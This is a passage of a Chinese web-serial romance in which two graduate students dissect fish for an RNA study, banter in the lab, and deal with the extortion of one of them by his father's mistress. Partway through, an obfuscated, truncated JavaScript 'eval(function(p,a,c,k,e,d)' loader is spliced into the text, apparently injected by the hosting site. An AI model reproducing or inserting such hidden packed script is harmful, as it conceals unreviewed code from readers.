“帮学弟个忙,3种不同海拔裂腹鱼肾脏转录组研究,我刚解剖完六条鱼,还剩三条。”蒋商鉴扇扇风将鱼腥味撂给她,带着恶作剧之后的恶意嘲弄笑意。 倪旖猛捂着鼻子嘟囔着:“剩下三条鱼留给我?我香香的呢。” 蒋商鉴俯身嗅嗅,果然一股甜腻腻的水果糖沐浴露味道,拧了拧眉,就在二楼楼梯转角窗台处停留,将餐盒放置好,慢慢拆开裹布一层一层拆刺身盒。 “那你吃,我去杀鱼。”倪旖说着便小跑着去试验间,三条鱼都得麻醉致死后进行解剖,分离肾脏组织。 “每种鱼共解剖3条,共计9个肾脏样本,你需要解决巨须裂腹鱼,收集肾脏样本放入-80℃超低温冰箱保存以便进行后续实验。”蒋商鉴叮嘱着,让免费劳力去干活。 “知道,你先喝粥,快凉了。”倪旖隔空传话,从换衣间里穿好实验服和护目镜,连防护手套也仔细扒拉好,顺便套两层。 “首先得使用Trizol裂解肾脏组织RNA,然后用□□萃取RNA,异丙醇沉淀RNA,最后使用75%酒精清洗RNA后用RNAase free water溶解RNA。”蒋商鉴抱着保温桶和汤匙大口大口吃晚餐,顺便补回早午餐,都在办公室查资料饿过头。 “让你师弟给我个二作资格?”倪旖在解剖台给活巨须裂腹鱼麻醉弄死,用剪刀将内脏器官小心翼翼拽出。 “你就一杀鱼的,还要二作,我都没。”蒋商鉴隔着玻璃小隔板跟她说话。 “那你违反国家规定,唆使学生进行实验研究。”倪旖在一堆内脏器官里找出小块肾脏,血淋淋埋着刺鼻腥味。 “得得得,你别杀,我自己解决,我给你改论文多少次?”蒋商鉴乐个不停,抱着保温桶闷头喝海鲜粥,味道真不错。 “你别说话,影响巨须裂腹鱼死亡心情。”倪旖重复操作,将剩下两条鱼解剖,这从西藏弄过来捕捞而濒危经济类物种,味道很不错的。 蒋商鉴将保温桶盖好,又溜达到楼梯转角窗台处放置好。 “唉,蒋师兄,还在呢?实验室不让吃东西。”研二男生一帮过来打招呼,系里学生,不分男女,几乎个个都是脸色灰暗,面如土色,心事凝重样子。 “我又没在里面,保安也没看见我带进来。”蒋商鉴用叉戳鱼子酱寿司吃,脸颊一团顶着腮帮子,还顺便咕囔着。 “我现在举报。”一男生抖机灵。 “一人来一块,就别造孽。”蒋商鉴将木格给他们递去。 “就等着呢。”抖机灵男生计谋得逞,握着木筷大口咀嚼刺身,弹性甘甜的螺类,发出一声满足喟叹。 “给我点啊。”胖同学催促着。 蒋商鉴受不了三个糙汉互相喂着吃,偏头躲避着满脸嫌弃。 “师兄,听说你脱单啦?”抖机灵男孩好奇打探着。 “哪听说的,搞好你们论文,关注我私事就滚蛋啊,回去洗洗睡觉,跟室友打打CS。”蒋商鉴难得跟这群造孽的师弟们说话,一个个给他气得不轻。 “这是嫂子给你的爱吗?”抖机灵男孩继续冷脸贴热屁股,不停眨眼。 “欧呦~”剩下俩男生当围观群众气氛组,跟猴似的叫着。 “安静啊,实验室呢,别的同学都得干活呢。”蒋商鉴刻意转移话题。 “是不是就说!”胖同学比较直。 “你们笨蛋小师妹给的。”蒋商鉴满脸吃屎臭表情,夺回寿司刺身餐盒。 “她在这里啊,呜呜,我不回宿舍打电动,我要陪着妹妹做实验。”抖机灵男孩眼里瞬间冒光。 48.骚扰 “我也是。”胖同学着急得现在就转身去换衣间套实验服。 “我没带钥匙,陪他们。”戴窄边框蓝眼镜男孩有点羞涩。 “一个个滚回宿舍。”蒋商鉴压制没由来怒火,将人踹着赶回去。 “师兄,那小师妹是不是要出道了?可红了,她破圈住上热搜。”抖机灵男孩尖叫着连滚带爬跑上楼,抓过双肩包里的平板电脑点开微博。 蒋商鉴就在飘着小红字的热门词条里顺利看见熟悉的字眼。 倪旖恋情# 倪旖保送# 倪旖爸爸# …… “你管人家,搞好自己就行。”蒋商鉴推搡着人离开。 “蒋商鉴,鱼解剖好了,咱弄试剂稀释肾脏组织RNA。”倪旖站门口听见他们打闹谈话,甜腻腻说话保持好形象。 蒋商鉴鸡皮疙瘩掉一地,在同学艳羡目光下转身先是将餐盒包装好,略微无所谓表情上楼去。 “那鱼得冷冻继续研究吗?”倪旖抬眸眼里似乎灌满荧光液体,单手撩起耳边散落的碎发放到耳后。 “你又上热搜。”蒋商鉴从兜里掏出干净手套佩戴好,侧身子去实验室冰箱弄一板试剂。 “那你觉得压力很大是嘛?”倪旖盈盈泪水蹿上,一难受就撇嘴,憋着想哭。 “嗯。”蒋商鉴不敢直视她目光,眼睛怼上显微镜调整位置。 倪旖沉默,泪眼婆娑站在一边,撕开试剂包装后弄开培养皿。 “不要哭。”蒋商鉴心脏窒息似的难受。 倪旖偷偷等,连撕开试剂塑料包装都停下来,感觉空气一瞬间窒息。 “我是那种人吗?”蒋商鉴捏着滴管吸附试剂放置玻璃培养皿里。 “我知道你不会,但我舍不得你压力很大。”倪旖靠在实验台边,轻微的咳嗽伴随着显微镜调试滚轮的声音,两者相互碰撞。 视线相对的时候,蒋商鉴从倪旖眼里看到了淡淡的落寞,或许是无意的,只不过他已没兴趣去分辨,他知道答案。 “蒋商鉴,你不要落下我,我一个人会害怕的。”倪旖无力哭诉,额靠他胳膊肘上偷偷蹭几下。 “别哭,泪水弄载玻片上污染试验材料,这一片不能用,都是实验经费,哎呦,好心疼。”蒋商鉴隔开点距离,看着培养皿上密密麻麻的细胞。 “你自己做实验,我走了。”倪旖说着就脱下手套,解开实验室白大褂,加快步速钻换衣间,睫毛湿漉漉的,一点一点落下。 倪旖换好衣裳也没回家,去其他楼栋,回他工位给他查相关资料。 蒋商鉴工位离玻璃窗近,她将自己裹在厚重午休被里,睁眼看着墙壁上运转的老式时钟。 他们明明靠得这么近,她明明听得清楚他的喘息呼吸声跟砰砰心跳声,可为什么,她却觉得距离越来越远。 她一步步靠近,他沉默着后退。 倪旖搅拌着麦片粥,呼啦呼啦银勺刮蹭着玻璃乐扣,粥里麦片早就变成碗底黏糊糊的烂泥,钟表滴答作响,然后传来十二点报时声。 “哟,还没走?”蒋商鉴扯着伞刚洗完澡回工位,穿件短袖火急火燎归位找资料,拉开倪旖旁边椅子就坐下来,顺手抽几张纸擦擦脸颊雨水。 “嗯。”倪旖顺手喂他一匙燕麦。 “需要帮助吗?”蒋商鉴又扯好几张她一次性洗脸巾擦擦脑袋上水珠,唇角是桀骜不驯的笑意,疲倦又松弛。 “亲亲我。”倪旖将茶杯得放在热金属板上加温。 空气中常年飘着炼乳的甜腻味,窗台和锈迹斑斑的暖气片上随处放着装速溶咖啡罐。 蒋商鉴摁着鼠标点开电脑,揉揉湿漉漉掉水滴的脑袋,敷衍着:“不仅有监控还有牛马呢,麦片给我两包,我又饿了。” 倪旖用勺子戳着碗底,玉米片随着动作枯萎塌陷,沉入混浊的牛奶,拎着水壶灌满蒋商鉴的茶叶保温杯,撕开几包水果酸奶冻干麦片给他冲泡宵夜。 “你还带了吃的吗?这麦片不够我吃饱的。”蒋商鉴侧眸子瞥一眼,翻找她零食背包袋里那堆高热量曲奇,随便扒拉出一包原味猪肉脯就吃。 蒋商鉴想着,科研懒人表现对文献工具比如Endnote、Zotero很熟悉,里面收藏了超过1000篇的文献,都是虚假努力。 “干嘛?”倪旖保护零食袋,还报复似的揉揉他湿漉漉的大脑壳。 蒋商鉴躲避着,盲打键盘找出必要文件仔细研读一番,嘴里还叼着片肉脯。 倪旖直接抢回来,将肉脯丢桌面,愤愤不满道:“不准吃我的。” 蒋商鉴直接卖惨,嘴里小声哼唧着黄河民谣:“小白菜呀,地里黄呀,三两岁呀,没了娘呀。亲娘呀,亲娘呀!” 倪旖泡好麦片放桌边上,皱皱眉将他肉脯丢回去,还故意说:“月亮姐姐放光辉,别人遛狗我遛龟。” “给我削个苹果去。”蒋商鉴低头将猪肉脯叼嘴里咀嚼着。 “吃吃吃,就知道吃!”倪旖蹲在地板上从柜里找水果,翻了翻空空如也塑料袋,抬眸质问,“你给吃完了?” “那香蕉,我记得还剩一根。”蒋商鉴继续敷衍。 倪旖没搭腔,抱着仅剩下的一根香蕉慢慢撕开,咬一小口坐会儿工位,点开邮件查看台词本,小声嘟囔着台词。 “唉,你给吃了?”蒋商鉴反手就给她香蕉躲过来,撕开前面一点点被咬过的牙齿印,张大嘴塞进去满足咀嚼。 倪旖裹了裹空调被咳嗽两声, 蒋商鉴抬手给她将午休被掖好。 “将收集到的RNA利用凝胶琼脂糖电泳检测完整性,使用NanoDrop检测RNA得浓度和纯度。” “用TruSeqTM RNA sample preparation Kit文库制备试剂盒构建cDNA文库。随后,利用Illumina HiSeqTM2000测序仪对裂腹鱼肾脏组织样本进行转录组双端测序。” 蒋商鉴自顾自地嘟囔着。 “还语音输入呢?”倪旖嘲笑他。 “别说话,我真懒得敲字。” 倪旖也没胡闹,嫌有些热便溜达到个人挂钩衣架边,把刚才随意披在肩膀上蒋商鉴薄卫衣外套挂到衣架那个栏杆上。 因为姿势不到位倪旖莫名其妙整个人被吊起来,只能脚尖着地,偷偷摸摸拼命挣扎。 空旷房间里格外安静,突然一阵紊乱脚步声,还有轻松略带疲倦的聊天。 “你打算继续读博还是就业?” “继续搞论文。” “搞科研真的短命。” “我希望我可以做一点东西出来,你连我是谁都不用care,你看到这个东西你觉得good,说真心话,这样我才会进步,我在行业才会如鱼得水。” “唉,小师妹,你咋滴啦?” “哈哈哈哈哈哈……” 倪旖被那些陌生男疯狂嘲笑,当然最后被同看热闹的蒋商鉴救下来。 倪旖一点都不服气,在师弟善意的嘲笑声中,金蝉脱壳成功,脸上糊满发丝,里面就剩件短袖。 “哎呦喂,别看啦。”倪旖捂脸钻会工位,死死裹着空调被。 “回去休息吧,有夜宵吗?我拿点零食给你带着吃。”蒋商鉴转身抱着好几包膨化食品给人递过去,算作封口费。 倪旖撇嘴难受着呢,零食都她的。 “那蒋师兄跟嫂子也早点休息,我们先回宿舍。”几个男生边吃边聊天。 “外面下雨,有伞吗?” “有,我们先回宿舍。” 蒋商鉴将学生弄走带上门,再回头就见脸颊红扑扑的倪旖,溜达着过去,疑惑地询问:“你发烧了?” 倪旖扭扭捏捏不说话。 “傻子。”蒋商鉴无奈笑笑。 倪旖刚刚就想到那句话异议,一瞬间脸颊就红透,浑身热得冒汗。 蒋商鉴过几秒抬手摸摸她额,也没发烧,嘟囔着:“不烫啊。” “蒋商鉴,手机来电。”倪旖本来还高兴,一转眼就瞥见他手机来电。 蒋商鉴一抬头直接摁灭。 没想到,又亮屏。 蒋商鉴只好握摁键,指腹摩挲着麦片杯纹:“怎么了?” 倪旖偷偷往边上挪,竖着耳朵听。 蒋商鉴抬手强行摁她脑袋隔开点距离。 “不给。”蒋商鉴摁着眉差点爆脏话,青筋直接爆出来。 “你别无理取闹,晚上不好订车,我还在工位呢,你又不是小孩,不会有人贩子拐卖你,我转点钱给你去酒店,得,先这样,明天我去接你……” 蒋商鉴烦躁抑郁揉揉脑壳,对方总算挂断电话,最怕突如其来的任务。 “喝口水压压怒火。”倪旖捧保温杯递他,眼神无辜,生怕被误伤。 “没事儿。”蒋商鉴确实一见那女的,夸张点,就提到这名字就难受。 “谁啊?”倪旖瞪大眼睛悄摸着吃瓜,还顺手撕开一包烧烤味薯片,咬着薯片咔嚓脆。 “我爸那边出轨的女人,有事没事就来骚扰我,找我要钱什么的。”蒋商鉴扶着额撑着胳膊眼里没了神采,一个头两个大,烦恼得不行。 “吃点吧。”倪旖将薯片包装给他递过去。 蒋商鉴直视着她,笑得苦涩,就像喝了口生抹茶。 倪旖躲避滚烫视线,抱着薯片嫌尴尬抓着一把就吃,嘴巴一圈全是碎屑。 “躲什么?”蒋商鉴抬手捏她脸颊不让动。 倪旖尬笑一两声,低头时不小心蹭他指腹,笑道:“……没。” “倪旖。”蒋商鉴拇指腹摩挲她颊,眼神氤氲着水雾,唇微张慢慢凑近,情欲充盈眸色。 倪旖没躲,习惯轻轻吐下舌。 蒋商鉴偏头将人搂怀里,眼泪瞬间落在她脖颈处,倾颓、落寞、无力眨眼间确已泄露,酸涩一点一点困住心脏。 “啊!椅子夹着我手。”倪旖往后一缩使劲甩手,假装好痛可怜兮兮望着他,往下撇着嘴巴。 “闹腾呢,玩去。”蒋商鉴恢复正常,扭着椅子敲键盘排版论文。 倪旖便趴桌面抬眸略带笑意望他,她那聪慧的明眸里映照出暗夜里最后一抹斑斓的色彩,荡漾的水波中映照难以言喻的温柔。 “蒋商鉴,你可以走的,我不怪你。”倪旖攥着他短袖胳膊处线头玩,偏头一看,嘲笑,“你腋下管理得不错。” 蒋商鉴瞬间夹紧胳膊,用肘关节捣鼓她脑壳:“干嘛呢?” 倪旖摸摸额头,感觉状态不对劲,小声嘟囔着:“我好像发烧了,额头烫烫的。” 蒋商鉴单手给她手动测量体温,还真的突然滚烫起来,起身把电脑论文保存好关机后给妃子打电话。 “过来送我去趟医院,倪旖在我工位晕厥,搞快点啊。” 倪旖精神个还挺足,琢磨着带点好吃的零食去消磨时间。 蒋商鉴一着急,嫌她磨叽便俯身,一把将人抱怀里,往上颠几下,小跑出去。 倪旖在他怀里小小只,不停咳嗽。 “你在医院办会员了嘛,噗嗤——”蒋商鉴笑得颤抖不停。 倪旖撇嘴不说话,有点生气。 “你晚上吃了多少?”蒋商鉴继续逗着。 倪旖直接捂嘴警告。 蒋商鉴挣脱开,呸呸呸:“你手肯定挖过鼻孔,好臭。” “哪有?”倪旖不知不觉说话就带着些撒娇意味,仔细嗅嗅手指缝,还真有点怪怪气味,“榴莲千层漏味道,或是碰你嘴巴,你有口臭!” “哈——”蒋商鉴朝她猛地吐气。 倪旖闭眼睛还没着急关闭嗅觉,就闻到冻干水果酸奶麦片味道,直到颧骨被喷出的薯片碎给沾到。 “啊——”倪旖尖叫着。 合欢树深深遮蔽道路上空,阻挡着四散温柔的月光,笼罩着葬仪上黑纱一般的浓荫,被日光晒得发蔫的草木,经过一阵雷鸣骤雨后,于夜晚处挺了尖端。 “唉,商商,这儿,小富婆不还没死嘛?吓得我没穿衣裳就下楼。”妃子打着哈气猛拍喇叭引起注意力。 “妃子哥,晚上好。”倪旖乖乖打招呼。 妃子白眼,哈切连天:“这可不是晚上,凌晨一点多,得挂急症,她也没烧死,大惊小怪。” 蒋商鉴摁门把手将人塞后座,一推搡给留个位儿。 妃子样貌很厉害,看发型定实力,被研究生涯耽误头发疏密的典型代表。 倪旖一直觉得他像海绵宝宝里面的吃蟹黄堡的顾客鱼。 “开车,能得你。”蒋商鉴来两句。 “卸磨杀驴,米糠都没磨好,你就杀驴?得,你自己打车,我不送。”妃子将车停在一边,就等着。 “赶紧开,她晚一秒送医院就嗝屁。”蒋商鉴摸了下她脑壳,还真升温了。 “别夸张,我死啦,呜呜呜。”倪旖立马表演猝死,软软糯糯地歪倒。 “你看,死了。”蒋商鉴两手一摊。 “我真服你俩,加起来没三岁,就这玩心,成熟是一点没有。”妃子透过后视镜浅浅看一眼那俩人亲密又自然举动。 蒋商鉴察觉到什么,抬眸。 妃子透过后视镜和他对视,了然一笑。 蒋商鉴躲开那灼热刺破真相的视线。 “别弄巧成拙。”妃子说完这句话就没说半个字,眼神是支持和坚定。 “早就弄巧成拙了。”蒋商鉴单手撩起她耳边散落的碎发,小心翼翼梳理她额前发丝。 “他还有巧呢?”倪旖睁大眼睛。 “他蠢啊。”妃子直接讽刺,有贤惠姑娘不追,还造孽搞个阎婆惜回家闹腾,一地鸡毛。 “盲生你发现华点。”倪旖没听明白便附和着,也不能让场子冷掉。 蒋商鉴的爱此刻是饱满蒸腾的,表现为松弛懒散,但随时间流逝一点也不消散,徒劳僵持在极限拉扯中。 “他是能进博物馆的蠢货。”妃子幽幽地说着,将车载音乐调小声点,是beyond海阔天空,“你俩不相上下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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从早点铺里走出来,春意如同海洋一般的绿色树冠起伏在道路四周,微微有些发烫,却称不上炎热。 有穿着格纹的男大学生在树下长椅上看书,背景板是白蓝色交加公交车铁制站牌,有穿背带短裤的小男孩顺人行道带足球朝操场跑去,一点一点往上升腾的热气氤氲着。 光线像是孩童橙色的画笔慢慢地消失颜色,一圈一圈地把这个世界缠绕成一个透明的茧,裹着热气渐渐散失。 早餐店没什么人,只老板娘忙碌着弄水煎灌汤包,滋滋冒油,倪旖压低声音:“你会陪我的,对吗?” “再说。”蒋商鉴依法没能给倪旖准确答复,他还有一场大战需要斗争。 “再说啊?”倪旖满腔热血被一盆冷水给浇灭,落寞声音顺着手机传去。 “好点了嘛?”蒋商鉴正要问她发烧情况就发现被挂断电话。 蒋商鉴坐副驾驶,闭眼睛眯着打瞌睡来养精蓄锐,突然岔出座环桥,岸边绕个巨大弧线,湖面被长桥一分为二,湖水快淹到了桥面。 蒋商鉴随手拍给倪旖分享奇趣见闻。 小嗯:好蠢的设计师。 蒋商鉴闷闷一声笑,随后敲字。 蒋商鉴:我也觉得。 小嗯:跟你一样。 倪旖将剩着没吃的麻团打包,欢呼雀跃小跑着就往学校去,戴着帽子裹着口罩死死遮挡面部特征,跟打地战似的。 蒋商鉴瞥见这行字没回复,车窗外,草木葳蕤,一派清气。 蒋商鉴摁着车关锁键,拎着那牛皮纸文件包,神情落寞坐在临窗竹篾垫位置,四野里日色浮动。 蒋商鉴蓦然放下手中文件袋,将头转向木格窗外,目光追逐日色,眼睛里已有水雾,愁绪浸透到血液里,倪旖也许将成为命运未曾明说的注解。 倪旖真是个很盎然的女孩。 精神小妹嚼着口香糖挺着大肚子就慢悠悠坐下。 “十万现金,别来骚扰我了。”蒋商鉴不耐烦将那一包现金放下就准备走。 “我怀孕了。”那女的摸摸肚皮。 “又不是我的。”蒋商鉴皱眉,毫不犹豫呛回去,连多看一眼都不愿意。 “跟你也有亲缘关系。”那女的嘟囔,不嫌弃去够蒋商鉴那还没喝过的咖啡。 “别。”蒋商鉴嫌恶,加快步速钻车里去酒店歇一晚再开车回去。 本以为这次借钱能顶一段时间,没想到那女的把他忘在咖啡馆的水晶手链改装的挂坠带走了,他不得不去她家要回来。 刚打开门,倪旖就笑眼盈盈蹦到他怀里。 蒋商鉴吓一跳,还是瞬间反应才不至于被加速度撞倒在地板上,可还是不受控往后退两步缓冲重量。 “商商,出来玩,不喊我?”倪旖脸颊红红的,带着喘息声,一看就是小跑过来。 “哪有?处理事情呢。”蒋商鉴摸摸她温热腰肢,搂得更紧些。 “处理好了嘛?”倪旖从他怀里滑下来,又迫不及待搂着他腰,抬眸时笑盈盈。 “你送我的辟邪手链落下了,上次那打电话那女的昨天敲诈我一笔钱,很烦。”蒋商鉴这才想起来倪旖无缘无故跟过来一定是因为绑定银行卡给她看见动账消息,她有点担心。 “那够不够?”倪旖见他知道动账消息也不掩饰,单枪直入。 “你过来就问我需不需要钱嘛?”蒋商鉴将人手撇开,弓腰快速收拾好个人物品,等会儿还要去那女的家单元楼。 倪旖沉默,她怕回答戳中蒋商鉴伤心点,一路都没说话。 等上了出租车,蒋商鉴揉揉发痛的太阳穴,神情烦躁,但跟倪旖说话还是压制脾气,温柔吻了下她额头,轻声道:“车给海星开过来,我回去得坐高铁,你一起嘛?” “嗯,那什么情况?”倪旖试探性询问。 空气一瞬间胶着。 倪旖缓解气氛,便撩下盒里镜用胳膊肘戳戳他。 蒋商鉴淡淡道:“偏振眼镜。” “偏光镜有两种,一种是线偏光镜,一种是圆偏光镜,用通过手机LCD屏幕旋转的方式可以辨别线偏光,但是无法辨别圆偏光。”倪旖说话来逗他。 “嗯。”蒋商鉴听她说话认真。 倪旖便又叽里咕噜一大串解释。 刚解释完,司机大哥也凑趣地抽出一副眼镜,并颇为得意地让她看看“这个眼镜怎么样”。 倪旖接过眼镜,第一反应以为司机大哥买了副偏振光大墨镜,便掏出手机打开屏幕,将眼镜在屏幕前旋转一圈,发现屏幕亮度没任何变化,看来不是偏振光的。 倪旖狐疑:“这不就是普通的防护镜吗?” 谁知“普通”二字让司机很不爽,用很鄙视的语气说道:“这可是能扛600W激光的!” 倪旖错愕。 蒋商鉴憋笑。 倪旖被逗乐,打趣道:“这怕不是抵抗星球大战的激光武器。” 49.暴雨 “……”蒋商鉴见那司机很鲁莽模样,微蹙眉平缓解释,“激光防护镜和偏光眼镜原理不同,前者是过滤掉特定波长的光,后者是过滤不同偏振方向的光。所以激光防护镜肯定不是偏光镜。” 司机刚要强词夺理。 倪旖维护自家人跟着便补充:“一般设备厂商都喜欢用设备的输入功率来当成是激光功率。600W是钢板切割设备输入功率。” 司机默然,也不再自鸣得意。 倪旖将眼镜归还,扭头问:“你物理不是不好嘛?” “……”蒋商鉴无奈解释,“没你好,又不是普遍意义差劲。” “哦~”倪旖耸耸肩,嘀咕,“那我之前装逼也不制止,好丢人。” “要给小朋友面子,”蒋商鉴耐心揉揉她微微发红脸颊,瞅着她尴尬模样,被逗乐,顺便解释,“大学物理教授讲过偏振,大物十六章,而且这内容高中都全讲过呢。” “哦~”倪旖恨不得钻地缝,居然忘记曾经请教授回家学习过。 蒋商鉴从刚才就很沉默,腿微微蜷缩挨着倪旖的腿,手拉着她的手,进入一种恍惚的平静期,等车彻底停下。 倪旖被攥着手有点疑惑。 倪旖走到蒋商鉴面前,发觉他又长高了许多,跟打了生长激素似的,隔一段时间就长个子,微抬眸,总之,得需要高抬头仰视,显得很矬,于是一气之下脚一抬踩上旁边花坛,这才达成居高临下境界。 “倪旖,我很差劲,是不是?” 倪旖鼻腔微微发苦:“不是的,我家商商最棒啦,怎么很差劲?” 蒋商鉴没搭腔,气氛逐渐焦灼到些许尴尬,倪旖瞅着他,看她假发片掉了一半就伸手把她假发片撕下来,还特真诚到贱兮兮对他说:“你假发掉了。” “……”蒋商鉴猛然低头。 其实不用看,光想象那一块假发片像悬挂在牧师手上的香炉一样摆动着,挺窒息的,都一路了,这小混蛋。 “商商有点秃哦~”倪旖插科打诨。 “……”蒋商鉴真想捶死她。 其实挺旺盛的毛发~ 就倪旖那岛上一晚吃口香糖,犯迷糊睡着不小心给吐出来,蒋商鉴头发被黏上,化学试剂弄遍,只能物理暴力解除。 一小块特突兀~ 那假发片还是师姐借的。 蒋商鉴气不过扭头就跑,即使当他跌跌绊绊走在绿化枕木和出租车之间的时候,他的桀骜伟岸的身躯仍然保持着那种忸怩不安的姿态。 对,扭扭捏捏不像样。 倪旖追逐打闹一路跑:“假发啊,还要不要啦!” 阳光一清早就十分强烈,撑满整个街头巷尾,满眼都是明晃晃光芒,意大利建筑仿佛被光融化似的微微颤动。 倪旖突然好想回家躺着,就想边吃妈妈切好的西瓜边看电视,看看天气预报里帅哥播报暴雨台风发生的新闻,又隔着窗台白帘看看高中棒球少年高高击飞白球。空中厚云高耸,蝉鸣频频轰响。 倪旖看了一眼那女的照片。 那女人白倒是白,像挤出的牙膏。 她整个人都像是牙膏,没有款式。 也不晓得商商混账爹对生育如此执着干嘛?家里有皇位?二婚还改不掉出轨毛病。 倪旖跟着蒋商鉴上楼,犹豫一下,还是跟了上去,刚才蒋商鉴拎在手中便利零食商店塑料袋已经移到她手上,塑料袋在膝盖旁发出沙沙细微声响。 即使外界如浸泡阳光中,楼道光线昏暗,倪旖像进入黑暗隧道,里面堆满杂物,有几条残破断脚柜东倒西歪靠在转角处。 倪旖深吸一口气,眩晕在混浊气息中。 四楼门没来得及闭上,留着一条缝隙。 倪旖听到里面传来清晰喘息声。 那声音听起来很像盛夏时节吐着舌头的狗在急促地呼吸着。 倪旖顿了脚尖,攥着他衣袖,阻止他急促尝试确认真相。 蒋商鉴甩开她手,逐渐靠近门边,向里望去,在室内窗口光线映照下,他看到照片女人双腿缠绕在陌生老男人身上。 倪旖攥着他手,心脏扑通扑通跳动着,她喜欢蒋商鉴,喜欢到久而久之他们心里慢慢多出些东西来,有了默契感,一个眼神,或微微一笑,都能心领神会。 蒋商鉴微闭着双眼,不愿承认。 传来女人那难以启齿享受声音。 倪旖全身僵硬,剧烈的心跳声大到真想请心脏干脆停下来安静点,使劲攥着他手腕往后拽,可纹丝不动。 蒋商鉴骤然收缩瞳孔,目光从他深陷眼眶中透射出来,显得偏执而狂热。 他背后狭隘窗户里车道全堵塞,与人行天桥相连的四条道路排着长长汽车队,喇叭声响彻云霄。 就算好远,也是刺耳的。 就在这时,走道蹿出一只猫,猫打翻一只丢弃在走道上的不锈钢盆,发出清晰“哐当”声。 倪旖算是及时将人拽开。 那油腻胡茬男人难得警觉睁开眼,把目光投向门缝,满嘴脏话踹一脚门。 此后,狭隘走廊就只剩黑暗。 蒋商鉴愣神,随后转身跑了,在楼道上,一根木头差点绊倒他,在快要跌倒时,他死死抱住楼梯扶手,但他肘部还是擦破了皮。 蒋商鉴站稳后,继续往楼下跑,一会儿一阵热风迎向他,他一头扎入阳光之中。他觉得这满世界的阳光就像无边无际的海水,会把人溺毙。 “商商,到底怎么回事?”倪旖跟上,在楼梯口转角灰尘间找到蒋商鉴,声音轻轻颤颤,像风吹在缺角的枫叶上。 四周的醺黄光线在他身侧流转。蒋商鉴下巴微仰,倪旖能看见他一截脖颈,和凸起的喉结。 倪旖垂眸满含心疼,手指慢条斯理地在他的头发里拨弄,指腹每每碰他,蒋商鉴整个脑袋都要麻一下。 不知怎么的,蒋商鉴突然想起倪旖摸杜宾狗时屈张的手指。 蒋商鉴有些颓废地摇摇头。 这场景似乎给她一丝丝震撼,可这震撼来得太过冠冕堂皇,倪旖又似乎没有那么大的触动,她不是早猜过?蒋商鉴处于水深火热中好久,好久。 蒋商鉴小时候处陷于困顿中,妈妈做饭时总故意不准备他那份,因此他几乎无时无刻不处于饥饿状态。 当妈妈偶尔将盛着吃剩的饭菜的盘子递到饿得挣扎在垂死边缘的他面前,说真的,那一瞬间,就像天使一样,背上有着白羽翼翅膀的天使。 蒋商鉴微微红了眼,垂眸酸涩哽咽道:“倪旖,我是不是很差劲?” 倪旖突然想到好多。 她喜欢躲在门背后,等蒋商鉴来她家推开门正惊讶屋子里的整洁时,跳出来蹦到他的怀里。 她也喜欢逼着蒋商鉴吃她做的一顿看起来无色,吃起来无味的饭菜,可再怎么不好吃,蒋商鉴也会将它们全吃光夸奖。 俩人背着包每天走在去公车站的路上,空气潮湿,阴霾笼罩,都捏着一包酸掉门牙的老话梅,边嚼边吐。 …… 她了解的,都不多,都浮于表面。 也许,都一直无意识忽略他难受。 “不是的,商商最好了。”倪旖直盯着他的双眼看,真是不可思议,为什么男孩子眼眸能够这么澄澈呢? 蒋商鉴一愣,睁眼首先看到是隔着小帘那一盏朦胧太阳,发出昏黄微弱光线照着黑暗,四周是水泥砌的灰壁。 蒋商鉴用手撑起上半身,贴着地面的手掌传来水泥地冷酷坚硬的触感,攥着她手,两手触碰着点温热,把手按到心脏附近说:“……这里好闷。” 倪旖觉得喘不过气,要是现在手边有把水果刀,真想在心脏开个风孔,那样一定轻松得多。 “我带你回家。”倪旖喃喃道。 她晓得蒋商鉴好想要个家。 “……”蒋商鉴苦笑。 倪旖家有房专门给他留的,毕竟倪家有个“中式城堡”,靠山靠海,不包括周围小建筑和岛屿度假区,主建筑里面有一百多个房间,连仆人团队运营成本至少都得两百多万。 倪旖不打算安慰,将塑料袋拆开找到咖啡,将砂糖棒搅进咖啡里,咕嘟咕嘟倒入奶精,一口气喝光了。 “……渴了?”蒋商鉴惊讶道。 “有点。”倪旖眼神迷糊,刚起身没走稳就摔了个屁股蹲儿,一边喊痛一边起身。 她脚下掉了杯摩卡咖啡。 蒋商鉴伸出手,打算至少拯救它。 倪旖却在眼皮底下踩爆了纸盒,咖啡四溅,好似地雷爆炸。 倪旖小白鞋全是迸的深棕咖啡渍。 “……”倪旖回头见他一身咖啡。 蒋商鉴想揍人,可打不过。 倪旖往后躲躲,捡起咖啡纸杯将它丢进垃圾桶,随后,拔腿就跑。 蒋商鉴撑着胳膊起来,肆意追逐。 “放了砖,这么重?”蒋商鉴用手掂量一下她背包,沉甸甸的。 倪旖看向蒋商鉴,他就这么心安理得接过背包,也好。 蒋商鉴解释:“不是……” 闻言,倪旖眼泪都笑出来,憋着笑告诉蒋商鉴:“你很适合当老公。” 蒋商鉴垂下眼,睫毛覆在眼睑上微微颤抖,在角落漏的一丝丝光线中铺下一片淡淡的阴影,看不清神情。 “就这么自然接过女朋友包,很棒。”倪旖笑嘻嘻道。 蒋商鉴微怔了怔,视线移开,面上依旧若无其事,但却注意到倪旖微微泛红的耳根,不好意思道:“是嘛?” 倪旖一把拽住偷偷在心里憋得气鼓鼓的蒋商鉴,抬眸难得耐心地跟他再次解释起来:“当然,商商最好啦。” 蒋商鉴暗自思忖着,手指不自觉摩挲着她指关节,冷不防一抬头,那目光赤裸,满眼都是不加遮掩的爱意。 “告诉我那女的的事情好不好?”倪旖挽他胳膊,自然温顺靠在他臂膀上。 蒋商鉴微微皱眉,视线移开,没再看,只是故意小声敷衍:“……没事。” 蒋商鉴刻意避开她视线,只是余光中倪旖要笑不笑,嘴角微微扯起,总觉得她的目光仿佛能够看透他的心思。 倪旖目不斜视,眼观鼻鼻观心,见他没回应,自顾自往前,一句话都没应,重新挂上耳机,点开手机播放音乐。 暑假清晨广场总会集市推销活动,爱凑热闹的倪旖理所当然要牵蒋商鉴去参加,假模假样地揉着惺忪睡眼去咨询价格,就为买廉价小点心以求的最高性价比,然后在卡片上集满印章。 这活动全勤奖得到了蓝色鲸鱼形状的存钱罐,很漂亮的玻璃罐子。 完成集小鲸鱼印章之后,倪旖攥着小卡片疲倦潦草,和蒋商鉴并排坐在檐廊上,吃着赠送的白桃果粒冰激凌。 